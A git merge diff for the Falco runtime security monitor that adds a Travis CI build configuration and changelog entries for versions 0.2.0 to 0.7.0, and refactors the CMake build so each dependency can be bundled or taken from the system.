Merge branch 'dev' into agent-master

Better list substitution

.gitignore

@@ -1,4 +1,20 @@
 /build*
+*~
+*.pyc
+
+test/falco_tests.yaml
+test/traces-negative
+test/traces-positive
+test/traces-info
+test/job-results
+test/.phoronix-test-suite
+test/results*.json.*
 
 userspace/falco/lua/re.lua
 userspace/falco/lua/lpeg.so
+
+docker/event-generator/event_generator
+docker/event-generator/mysqld
+docker/event-generator/httpd
+docker/event-generator/sha1sum
+docker/event-generator/vipw

.travis.yml

@@ -0,0 +1,52 @@
+language: c
+env:
+    - BUILD_TYPE=Debug
+    - BUILD_TYPE=Release
+sudo: required
+services:
+    - docker
+before_install:
+    - sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
+    - sudo apt-get update
+install:
+    - sudo apt-get --force-yes install g++-4.8
+    - sudo apt-get install rpm linux-headers-$(uname -r)
+    - git clone https://github.com/draios/sysdig.git ../sysdig
+    - sudo apt-get install -y python-pip libvirt-dev jq dkms
+    - cd ..
+    - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
+    - tar -zxvf avocado-36.0-tar.gz
+    - cd avocado-36.0lts
+    - sudo -H pip install -r requirements.txt
+    - sudo python setup.py install
+    - cd ../falco
+before_script:
+    - export KERNELDIR=/lib/modules/$(ls /lib/modules | sort | head -1)/build
+script:
+    - set -e
+    - export CC="gcc-4.8"
+    - export CXX="g++-4.8"
+    - wget https://s3.amazonaws.com/download.draios.com/dependencies/cmake-3.3.2.tar.gz
+    - tar -xzf cmake-3.3.2.tar.gz
+    - cd cmake-3.3.2
+    - ./bootstrap --prefix=/usr
+    - make
+    - sudo make install
+    - cd ..
+    - mkdir build
+    - cd build
+    - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"
+    - make VERBOSE=1
+    - make package
+    - cp falco*.deb ../docker/local
+    - cd ../docker/local
+    - docker build -t sysdig/falco:test .
+    - cd ../..
+    - sudo test/run_regression_tests.sh $TRAVIS_BRANCH
+notifications:
+  webhooks:
+    urls:
+#      - https://webhooks.gitter.im/e/fdbc2356fb0ea2f15033
+    on_success: change
+    on_failure: always
+    on_start: never

CHANGELOG.md

@@ -2,6 +2,247 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.7.0
+
+Released 2016-05-30
+
+### Major Changes
+
+* Update the priorities of falco rules to use a wider range of priorities rather than just ERROR/WARNING. More info on the use of priorities in the ruleset can be found [here](https://github.com/draios/falco/wiki/Falco-Rules#rule-priorities). [[#244](https://github.com/draios/falco/pull/244)]
+
+### Minor Changes
+
+None.
+
+### Bug Fixes
+
+* Fix typos in various markdown files. Thanks @sublimino! [[#241](https://github.com/draios/falco/pull/241)]
+
+### Rule Changes
+
+* Add gitlab-mon as a gitlab binary, which allows it to run shells, etc. Thanks @dkerwin! [[#237](https://github.com/draios/falco/pull/237)]
+* A new rule Terminal shell in container" that looks for shells spawned in a container with an attached terminal. [[#242](https://github.com/draios/falco/pull/242)]
+* Fix some FPs related to the sysdig monitor agent. [[#243](https://github.com/draios/falco/pull/243)]
+* Fix some FPs related to stating containers combined with missed events [[#243](https://github.com/draios/falco/pull/243)]
+
+## v0.6.1
+
+Released 2016-05-15
+
+### Major Changes
+
+None
+
+### Minor Changes
+
+* Small changes to token bucket used to throttle falco events [[#234](https://github.com/draios/falco/pull/234)] [[#235](https://github.com/draios/falco/pull/235)] [[#236](https://github.com/draios/falco/pull/236)] [[#238](https://github.com/draios/falco/pull/238)]
+
+### Bug Fixes
+
+* Update the falco driver to work with kernel 4.11 [[#829](https://github.com/draios/sysdig/pull/829)]
+
+### Rule Changes
+
+* Don't allow apache2 to spawn shells in containers [[#231](https://github.com/draios/falco/issues/231)] [[#232](https://github.com/draios/falco/pull/232)]
+
+## v0.6.0
+
+Released 2016-03-29
+
+### Major Changes
+
+* Add the notion of tagged falco rules. Full documentation for this feature is available on the [wiki](https://github.com/draios/falco/wiki/Falco-Rules#rule-tags). [[#58](https://github.com/draios/falco/issues/58)] [[#59](https://github.com/draios/falco/issues/59)] [[#60](https://github.com/draios/falco/issues/60)] [[#206](https://github.com/draios/falco/pull/206)]
+* Falco now has its own dedicated kernel module. Previously, it would depend on sysdig being installed and would use sysdig's `sysdig-probe` kernel module. This ensures you can upgrade sysdig and falco without kernel driver compatibility problems. More details on the kernel module and its installation are on the [wiki](https://github.com/draios/falco/wiki/Falco-Kernel-Module). [[#215](https://github.com/draios/falco/issues/215)] [[#223](https://github.com/draios/falco/issues/223)] [[#224](https://github.com/draios/falco/pull/224)]
+* When providing multiple rules files by specifying `-r' multiple times, make sure that you can override rules/lists/macros. Previously, a list/macro/rule specified in an earlier file could not be overridden in a later file. [[#176](https://github.com/draios/falco/issues/176)] [[#177](https://github.com/draios/falco/pull/177)]
+* Add example k8s yaml files that show how to run falco as a k8s DaemonSet, and how to run falco-event-generator as a deployment running on one node. [[#222](https://github.com/draios/falco/pull/222)] [[#225](https://github.com/draios/falco/issues/225)] [[#226](https://github.com/draios/falco/pull/226)]
+* Update third party libraries to address security vulnerabilities. [[#182](https://github.com/draios/falco/pull/182)]
+* Falco can now be built on OSX. Like sysdig, on OSX it is limited to reading existing trace files. [[#210](https://github.com/draios/falco/pull/210)]
+
+### Minor Changes
+* Several changes to [falco-event-generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) to improve usability. [[#205](https://github.com/draios/falco/pull/205)]
+* Switch to a formatter cache provided by sysdig code instead of using our own. [[#212](https://github.com/draios/falco/pull/212)]
+* Add automated tests that use locally-built docker images. [[#188](https://github.com/draios/falco/issues/188)]
+
+### Bug Fixes
+
+* Make sure output strings are not truncated when a given %field expression has a NULL value. [[#180](https://github.com/draios/falco/issues/180)] [[#181](https://github.com/draios/falco/pull/181)]
+* Allow ASSERTs when running travisci tests. [[#199](https://github.com/draios/falco/pull/199)]
+* Fix make dependencies for lyaml. [[#204](https://github.com/draios/falco/pull/204)] [[#130](https://github.com/draios/falco/issues/130)]
+* (This was a change in sysdig, but affected falco). Prevent hangs when traversing malformed parent thread state. [[#208](https://github.com/draios/falco/issues/208)]
+
+### Rule Changes
+
+* Add confd as a program that can write files below /etc and fleetctl as a program that can spawn shells. [[#175](https://github.com/draios/falco/pull/175)]
+* Add [exechealthz](https://github.com/kubernetes/contrib/tree/master/exec-healthz), a k8s liveness checking utility, to the list of shell spawners. [[#190](https://github.com/draios/falco/pull/190)]
+* Eliminate FPs related to weekly ubuntu cron jobs. [[#192](https://github.com/draios/falco/pull/192)]
+* Allow shells spawned by ansible, and eliminate FPs when managing machines via ansible. [[#193](https://github.com/draios/falco/pull/193)] [[#196](https://github.com/draios/falco/pull/196)] [[#202](https://github.com/draios/falco/pull/202)]
+* Eliminate FPs related to use of other security products. Thanks to @juju4 for the useful rule updates. [[#200](https://github.com/draios/falco/pull/200)]
+* Add additional possible locations for denyhosts, add [PM2](http://pm2.keymetrics.io/) as a shell spawner. [[#202](https://github.com/draios/falco/pull/202)]
+* Add flanneld as a privileged container, improve grouping for the "x running y" macros, allow denyhosts to spawn shells. [[#207](https://github.com/draios/falco/pull/207)]
+* Handle systemd changing its name to "(systemd)", add sv (part of [runit](http://smarden.org/runit/)) as a program that can write below /etc, allow writing to all `/dev/tty*` files. [[#209](https://github.com/draios/falco/pull/209)]
+* Add erl_child_setup as a shell spawner. Thanks to @dkerwin for the useful rule updates. [[#218](https://github.com/draios/falco/pull/218)]  [[#221](https://github.com/draios/falco/pull/221)]
+* Add support for gitlab omnibus containers/pods. Thanks to @dkerwin for the useful rule updates. [[#220](https://github.com/draios/falco/pull/220)]
+
+## v0.5.0
+
+Released 2016-12-22
+
+Starting with this release, we're adding a new section "Rule Changes" devoted to changes to the default ruleset `falco_rules.yaml`.
+
+### Major Changes
+
+* Cache event formatting objects so they are not re-created for every falco notification. This can result in significant speedups when the ruleset results in lots of notifications. [[#158](https://github.com/draios/falco/pull/158)]
+* Falco notifications are now throttled by a token bucket, preventing a flood of notifications when many events match a rule. Controlled by the `outputs, rate` and `outputs, max_burst` options. [[#161](https://github.com/draios/falco/pull/161)]
+
+### Minor Changes
+
+* When run from a container, you can provide the environment variable `SYSDIG_SKIP_LOAD` to skip the process of building/loading the kernel module. Thanks @carlsverre for the fix. [[#145](https://github.com/draios/falco/pull/145)]
+* Fully implement `USE_BUNDLED_DEPS` within CMakeFiles so you can build with external third-party libraries. [[#147](https://github.com/draios/falco/pull/147)]
+* Improve error messages that result when trying to load a rule with a malformed `output:` attribute [[#150](https://github.com/draios/falco/pull/150)] [[#151](https://github.com/draios/falco/pull/151)]
+* Add the ability to write event capture statistics to a file via the `-s <statsfile>` option. [[#155](https://github.com/draios/falco/pull/155)]
+* New configuration option `log_level` controls the verbosity of falco's logging. [[#160](https://github.com/draios/falco/pull/160)]
+
+
+### Bug Fixes
+
+* Improve compatibility with Sysdig Cloud Agent build [[#148](https://github.com/draios/falco/pull/148)]
+
+### Rule Changes
+
+* Add DNF as non-alerting for RPM and package management. Thanks @djcross for the fix. [[#153](https://github.com/draios/falco/pull/153)]
+* Make `google_containers/kube-proxy` a trusted image, affecting the File Open by Privileged Container/Sensitive Mount by Container rules. [[#159](https://github.com/draios/falco/pull/159)]
+* Add fail2ban-server as a program that can spawn shells. Thanks @jcoetzee for the fix. [[#168](https://github.com/draios/falco/pull/168)]
+* Add systemd as a program that can access sensitive files. Thanks @jcoetzee for the fix. [[#169](https://github.com/draios/falco/pull/169)]
+* Add apt/apt-get as programs that can spawn shells. Thanks @jcoetzee for the fix. [[#170](https://github.com/draios/falco/pull/170)]
+
+## v0.4.0
+
+Released 2016-10-25
+
+As falco depends heavily on sysdig, many changes here were actually made to sysdig and pulled in as a part of the build process. Issues/PRs starting with `sysdig/#XXX` are sysdig changes.
+
+### Major Changes
+
+* Improved visibility into containers:
+** New filter `container.privileged` to match containers running in privileged mode [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] [[sysdig/#658](https://github.com/draios/sysdig/pull/658)]
+** New rules utilizing privileged state [[#121](https://github.com/draios/falco/pull/121)]
+** New filters `container.mount*` to match container mount points [[sysdig/#655](https://github.com/draios/sysdig/pull/655)]
+** New rules utilizing container mount points [[#120](https://github.com/draios/falco/pull/120)]
+** New filter `container.image.id` to match container image id [[sysdig/#661](https://github.com/draios/sysdig/pull/661)]
+
+* Improved visibility into orchestration environments:
+** New k8s.deployment.* and k8s.rs.* filters to support latest kubernetes features [[sysdg/#dbf9b5c](https://github.com/draios/sysdig/commit/dbf9b5c893d49f945c59684b4effe5700d730973)]
+** Rule changes to avoid FPs when monitoring k8s environments [[#138](https://github.com/draios/falco/pull/138)]
+** Add new options `-pc`/`-pk`/`-pm`/`-k`/`-m` analogous to sysdig command line options. These options pull metadata information from k8s/mesos servers and adjust default falco notification outputs to contain container/orchestration information when applicable. [[#131](https://github.com/draios/falco/pull/131)] [[#134](https://github.com/draios/falco/pull/134)]
+
+* Improved ability to work with file pathnames:
+** Added `glob` operator for strings, works as classic shell glob path matcher [[sysdig/#653](https://github.com/draios/sysdig/pull/653)]
+** Added `pmatch` operator to efficiently test a subject pathname against a set of target pathnames, to see if the subject is a prefix of any target [[sysdig/#660](https://github.com/draios/sysdig/pull/660)] [[#125](https://github.com/draios/falco/pull/125)]
+
+### Minor Changes
+
+* Add an event generator program that simulates suspicious activity that can be detected by falco. This is also available as a docker image [[sysdig/falco-event-generator](https://hub.docker.com/r/sysdig/falco-event-generator/)]. [[#113](https://github.com/draios/falco/pull/113)] [[#132](https://github.com/draios/falco/pull/132)]
+* Changed rule names to be human readable [[#116](https://github.com/draios/falco/pull/116)]
+* Add Copyright notice to all source files [[#126](https://github.com/draios/falco/pull/126)]
+* Changes to docker images to make it easier to massage JSON output for webhooks [[#133](https://github.com/draios/falco/pull/133)]
+* When run with `-v`, print statistics on the number of events processed and dropped [[#139](https://github.com/draios/falco/pull/139)]
+* Add ability to write trace files with `-w`. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. [[#140](https://github.com/draios/falco/pull/140)]
+* All rules can now take an optional `enabled` flag. With `enabled: false`, a rule will not be loaded or run against events. By default all rules are enabled [[#119](https://github.com/draios/falco/pull/119)]
+
+### Bug Fixes
+
+* Fixed rule FPs related to docker's `docker`/`dockerd` split in 1.12 [[#112](https://github.com/draios/falco/pull/112)]
+* Fixed rule FPs related to sysdigcloud agent software [[#141](https://github.com/draios/falco/pull/141)]
+* Minor changes to node.js example to avoid falco false positives [[#111](https://github.com/draios/falco/pull/111/)]
+* Fixed regression that broke configurable outputs [[#117](https://github.com/draios/falco/pull/117)]. This was not broken in 0.3.0, just between 0.3.0 and 0.4.0.
+* Fixed a lua stack leak that could cause problems when matching millions of events against a large set of rules [[#123](https://github.com/draios/falco/pull/123)]
+* Update docker files to reflect changes to `debian:unstable` docker image [[#124](https://github.com/draios/falco/pull/124)]
+* Fixed logic for detecting config files to ensure config files in `/etc/falco.yaml` are properly detected  [[#135](https://github.com/draios/falco/pull/135)] [[#136](https://github.com/draios/falco/pull/136)]
+* Don't alert on falco spawning a shell for program output notifications [[#137](https://github.com/draios/falco/pull/137)]
+
+## v0.3.0
+
+Released 2016-08-05
+
+### Major Changes
+
+Significantly improved performance, involving changes in the falco and sysdig repositories:
+
+* Reordering a rule condition's operators to put likely-to-fail operators at the beginning and expensive operators at the end. [[#95](https://github.com/draios/falco/pull/95/)] [[#104](https://github.com/draios/falco/pull/104/)]
+* Adding the ability to perform x in (a, b, c, ...) as a single set membership test instead of individual comparisons between x=a, x=b, etc. [[#624](https://github.com/draios/sysdig/pull/624)] [[#98](https://github.com/draios/falco/pull/98/)]
+* Avoid unnecessary string manipulations. [[#625](https://github.com/draios/sysdig/pull/625)]
+* Using `startswith` as a string comparison operator when possible. [[#623](https://github.com/draios/sysdig/pull/623)]
+* Use `is_open_read`/`is_open_write` when possible instead of searching through open flags. [[#610](https://github.com/draios/sysdig/pull/610)]
+* Group rules by event type, which allows for an initial filter using event type before going through each rule's condition. [[#627](https://github.com/draios/sysdig/pull/627)] [[#101](https://github.com/draios/falco/pull/101/)]
+
+All of these changes result in dramatically reduced CPU usage. Here are some comparisons between 0.2.0 and 0.3.0 for the following workloads:
+
+* [Phoronix](http://www.phoronix-test-suite.com/)'s `pts/apache` and `pts/dbench` tests.
+* Sysdig Cloud Kubernetes Demo: Starts a kubernetes environment using docker with apache and wordpress instances + synthetic workloads.
+* [Juttle-engine examples](https://github.com/juttle/juttle-engine/blob/master/examples/README.md) : Several elasticsearch, node.js, logstash, mysql, postgres, influxdb instances run under docker-compose.
+
+| Workload | 0.2.0 CPU Usage | 0.3.0 CPU Usage |
+|----------| --------------- | ----------------|
+| pts/apache | 24% | 7% |
+| pts/dbench | 70% | 5% |
+| Kubernetes-Demo (Running) | 6% | 2% |
+| Kubernetes-Demo (During Teardown) | 15% | 3% |
+| Juttle-examples | 3% | 1% |
+
+As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:
+
+```
+Rule no_evttype: warning (no-evttype):
+proc.name=foo
+     did not contain any evt.type restriction, meaning it will run for all event types.
+     This has a significant performance penalty. Consider adding an evt.type restriction if possible.
+```
+
+If a rule has a `evt.type` operator in the later portion of the condition, falco will log a warning like:
+
+```
+Rule evttype_not_equals: warning (trailing-evttype):
+evt.type!=execve
+     does not have all evt.type restrictions at the beginning of the condition,
+     or uses a negative match (i.e. "not"/"!=") for some evt.type restriction.
+     This has a performance penalty, as the rule can not be limited to specific event types.
+     Consider moving all evt.type restrictions to the beginning of the rule and/or
+     replacing negative matches with positive matches if possible.
+```
+
+
+### Minor Changes
+
+* Several sets of rule cleanups to reduce false positives. [[#95](https://github.com/draios/falco/pull/95/)]
+* Add example of how falco can detect abuse of a badly designed REST API. [[#97](https://github.com/draios/falco/pull/97/)]
+* Add a new output type "program" that writes a formatted event to a configurable program. Each notification results in one invocation of the program. A common use of this output type would be to send an email for every falco notification. [[#105](https://github.com/draios/falco/pull/105/)] [[#99](https://github.com/draios/falco/issues/99)]
+* Add the ability to run falco on all events, including events that are flagged with `EF_DROP_FALCO`. (These events are high-volume, low-value events that are ignored by default to improve performance). [[#107](https://github.com/draios/falco/pull/107/)] [[#102](https://github.com/draios/falco/issues/102)]
+
+### Bug Fixes
+
+* Add third-party jq library now that sysdig requires it. [[#96](https://github.com/draios/falco/pull/96/)]
+
+## v0.2.0
+
+Released 2016-06-09
+
+For full handling of setsid system calls and session id tracking using `proc.sname`, falco requires a sysdig version >= 0.10.0.
+
+### Major Changes
+
+- Add TravisCI regression tests. Testing involves a variety of positive, negative, and informational trace files with both plain and json output. [[#76](https://github.com/draios/falco/pull/76)] [[#83](https://github.com/draios/falco/pull/83)]
+- Fairly big rework of ruleset to improve coverage, reduce false positives, and handle installation environments effectively [[#83](https://github.com/draios/falco/pull/83)] [[#87](https://github.com/draios/falco/pull/87)]
+- Not directly a code change, but mentioning it here--the Wiki has now been populated with an initial set of articles, migrating content from the README and adding detail when necessary. [[#90](https://github.com/draios/falco/pull/90)]
+
+### Minor Changes
+
+- Improve JSON output to include the rule name, full output string, time, and severity [[#89](https://github.com/draios/falco/pull/89)]
+
+### Bug Fixes
+
+- Improve CMake quote handling [[#84](https://github.com/draios/falco/pull/84)]
+- Remove unnecessary NULL check of a delete [[#85](https://github.com/draios/falco/pull/85)]
+
 ## v0.1.0
 
 Released 2016-05-17

CMakeLists.txt

@@ -6,15 +6,17 @@ if(NOT DEFINED FALCO_VERSION)
 	set(FALCO_VERSION "0.1.1dev")
 endif()
 
-if(NOT DEFINED DIR_ETC)
-	set(DIR_ETC "/etc")
+if(NOT DEFINED FALCO_ETC_DIR)
+	set(FALCO_ETC_DIR "/etc")
 endif()
 
 if(NOT CMAKE_BUILD_TYPE)
 	SET(CMAKE_BUILD_TYPE Release)
 endif()
 
-set(DRAIOS_DEBUG_FLAGS "-D_DEBUG")
+if(NOT DRAIOS_DEBUG_FLAGS)
+	set(DRAIOS_DEBUG_FLAGS "-D_DEBUG")
+endif()
 
 set(CMAKE_C_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
 set(CMAKE_CXX_FLAGS "-Wall -ggdb --std=c++0x ${DRAIOS_FEATURE_FLAGS}")
@@ -27,7 +29,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
 
 add_definitions(-DPLATFORM_NAME="${CMAKE_SYSTEM_NAME}")
 add_definitions(-DK8S_DISABLE_THREAD)
-add_definitions(-DHAS_CAPTURE)
+if(CMAKE_SYSTEM_NAME MATCHES "Linux")
+	add_definitions(-DHAS_CAPTURE)
+endif()
 
 if(CMAKE_BUILD_TYPE STREQUAL "Debug")
 	set(KBUILD_FLAGS "${DRAIOS_DEBUG_FLAGS} ${DRAIOS_FEATURE_FLAGS}")
@@ -37,155 +41,365 @@ endif()
 
 set(PACKAGE_NAME "falco")
 set(PROBE_VERSION "${FALCO_VERSION}")
-set(PROBE_NAME "sysdig-probe")
-set(PROBE_DEVICE_NAME "sysdig")
+set(PROBE_NAME "falco-probe")
+set(PROBE_DEVICE_NAME "falco")
+if (CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
+	set(CMAKE_INSTALL_PREFIX /usr CACHE PATH "Default install path" FORCE)
+endif()
 
 set(CMD_MAKE make)
 
-set(SYSDIG_DIR ${PROJECT_SOURCE_DIR}/../sysdig)
+set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
+# make luaJIT work on OS X
+if(APPLE)
+	set(CMAKE_EXE_LINKER_FLAGS "-pagezero_size 10000 -image_base 100000000")
+endif()
 
 include(ExternalProject)
 
-set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
-message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
-set(ZLIB_INCLUDE "${ZLIB_SRC}")
-set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
-ExternalProject_Add(zlib
+option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
+
+#
+# zlib
+#
+option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_ZLIB)
+	find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
+	find_library(ZLIB_LIB NAMES z)
+	if(ZLIB_INCLUDE AND ZLIB_LIB)
+		message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system zlib")
+	endif()
+else()
+        set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
+        message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
+        set(ZLIB_INCLUDE "${ZLIB_SRC}")
+        set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
+        ExternalProject_Add(zlib
 		URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
+
+#
+# jq
+#
+option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
+if(NOT USE_BUNDLED_JQ)
+	find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
+	find_library(JQ_LIB NAMES jq)
+	if(JQ_INCLUDE AND JQ_LIB)
+		message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system jq")
+	endif()
+else()
+        set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+        message(STATUS "Using bundled jq in '${JQ_SRC}'")
+        set(JQ_INCLUDE "${JQ_SRC}")
+        set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+        ExternalProject_Add(jq
+                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
+                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
+                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
+                BUILD_IN_SOURCE 1
+		PATCH_COMMAND wget -O jq-1.5-fix-tokenadd.patch https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch && patch -i jq-1.5-fix-tokenadd.patch
+                INSTALL_COMMAND "")
+endif()
 
 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
 
+#
+# curses
+#
 # we pull this in because libsinsp won't build without it
-set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
-set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
-set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
-message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
-ExternalProject_Add(ncurses
+
+option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_NCURSES)
+	set(CURSES_NEED_NCURSES TRUE)
+	find_package(Curses REQUIRED)
+	message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
+else()
+	set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
+	set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
+	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
+	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
+	ExternalProject_Add(ncurses
 		URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
+#
+# libb64
+#
+option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})
 
-set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
-message(STATUS "Using bundled b64 in '${B64_SRC}'")
-set(B64_INCLUDE "${B64_SRC}/include")
-set(B64_LIB "${B64_SRC}/src/libb64.a")
-ExternalProject_Add(b64
+if(NOT USE_BUNDLED_B64)
+	find_path(B64_INCLUDE NAMES b64/encode.h)
+	find_library(B64_LIB NAMES b64)
+	if(B64_INCLUDE AND B64_LIB)
+		message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system b64")
+	endif()
+else()
+	set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
+	message(STATUS "Using bundled b64 in '${B64_SRC}'")
+	set(B64_INCLUDE "${B64_SRC}/include")
+	set(B64_LIB "${B64_SRC}/src/libb64.a")
+	ExternalProject_Add(b64
 		URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
+#
+# yamlcpp
+#
+option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
 
-set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
-message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
-set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
-set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
-# Once the next version of yaml-cpp is released (first version not requiring
-# boost), we can switch to that and no longer pull from github.
-ExternalProject_Add(yamlcpp
+if(NOT USE_BUNDLED_YAMLCPP)
+	find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
+	find_library(YAMLCPP_LIB NAMES yaml-cpp)
+	if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
+		message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system yamlcpp")
+	endif()
+else()
+	set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
+	message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
+	set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
+	set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
+	# Once the next version of yaml-cpp is released (first version not requiring
+	# boost), we can switch to that and no longer pull from github.
+	ExternalProject_Add(yamlcpp
 		GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
 		GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
-set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
-set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
-set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+#
+# OpenSSL
+#
+option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
 
-message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+if(NOT USE_BUNDLED_OPENSSL)
+	find_package(OpenSSL REQUIRED)
+	message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
+else()
 
-ExternalProject_Add(openssl
-		URL "http://download.draios.com/dependencies/openssl-1.0.2d.tar.gz"
-		URL_MD5 "38dd619b2e77cbac69b99f52a053d25a"
+	set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
+	set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+	set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
+	set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
+	set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+
+	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+
+	ExternalProject_Add(openssl
+		URL "http://download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
+		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
